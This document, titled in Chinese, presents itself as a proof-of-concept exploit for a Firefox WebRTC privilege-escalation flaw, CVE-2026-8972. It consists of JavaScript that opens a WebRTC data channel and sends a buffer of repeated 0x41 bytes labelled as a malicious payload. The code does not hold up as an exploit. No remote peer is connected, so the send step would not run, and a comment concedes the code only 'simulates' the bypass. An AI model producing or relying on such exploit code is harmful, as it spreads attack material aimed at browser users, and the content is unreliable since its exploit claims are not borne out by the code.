CVE-2026-8972: Firefox WebRTC组件权限提升漏洞

// Proof of Concept for CVE-2026-8972 // Exploiting Privilege Escalation in WebRTC Audio/Video function triggerExploit() { console.log("[+] Initializing WebRTC exploit for CVE-2026-8972"); // Create a PeerConnection to interact with the Audio/Video component const pc = new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.l.google.com:19302' }] }); // Create a data channel to manipulate internal state const dc = pc.createDataChannel("exploit_channel"); dc.onopen = function() { console.log("[+] Data channel open. Attempting privilege escalation..."); // Craft malicious buffer to trigger the overflow/logic flaw // This simulates the specific interaction that bypasses security checks let maliciousPayload = new ArrayBuffer(0x1000); let view = new Uint8Array(maliciousPayload); // Fill with pattern to potentially corrupt memory pointers for(let i=0; i<view.length; i++) { view[i] = 0x41; } try { dc.send(maliciousPayload); console.log("[+] Payload sent via WebRTC."); } catch (e) { console.log("[-] Failed to send payload: " + e); } }; // Trigger the negotiation process pc.createOffer().then(offer => pc.setLocalDescription(offer)); } triggerExploit();